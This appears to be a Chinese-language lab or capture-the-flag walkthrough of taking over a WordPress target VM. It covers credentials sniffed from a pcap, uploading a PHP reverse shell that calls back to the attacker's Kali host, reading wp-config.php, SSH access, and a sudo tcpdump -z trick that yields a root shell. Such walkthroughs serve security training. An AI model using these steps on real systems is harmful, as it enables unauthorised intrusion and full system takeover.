端口扫描

靶机ip地址为192.168.153.158
目录扫描

访问80端口

拼接访问 /ipdata 发现了一个流量包

放在 wireshark 查看,找到 账号密码
账号:webdeveloper
密码:Te5eQg&4sBS!Yr$)wf%(DcAd
拼接 /wp-login.php

找到登录框

登录成功
找到后台文件上传功能点

利用kali生成反弹shell
locate php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php .

vim php-reverse-shell.php
将ip地址改成kali的ip

上传文件


上传的文件在wp-content/uploads/目录下

kali监听

反弹成功

获得交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

/var/www/html/目录下 ,查看 wp-config.php 文件

得到数据库账号密码
账号:webdeveloper
密码:MasterOfTheUniverse
ssh连接 ssh webdeveloper@192.168.153.158

连接成功
sudo提权 sudo -l

找到 php-reverse-shell.php文件位置

COMMAND='php /var/www/html/wp-content/uploads/2024/08/php-reverse-shell.php'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root

反弹成功

为root权限
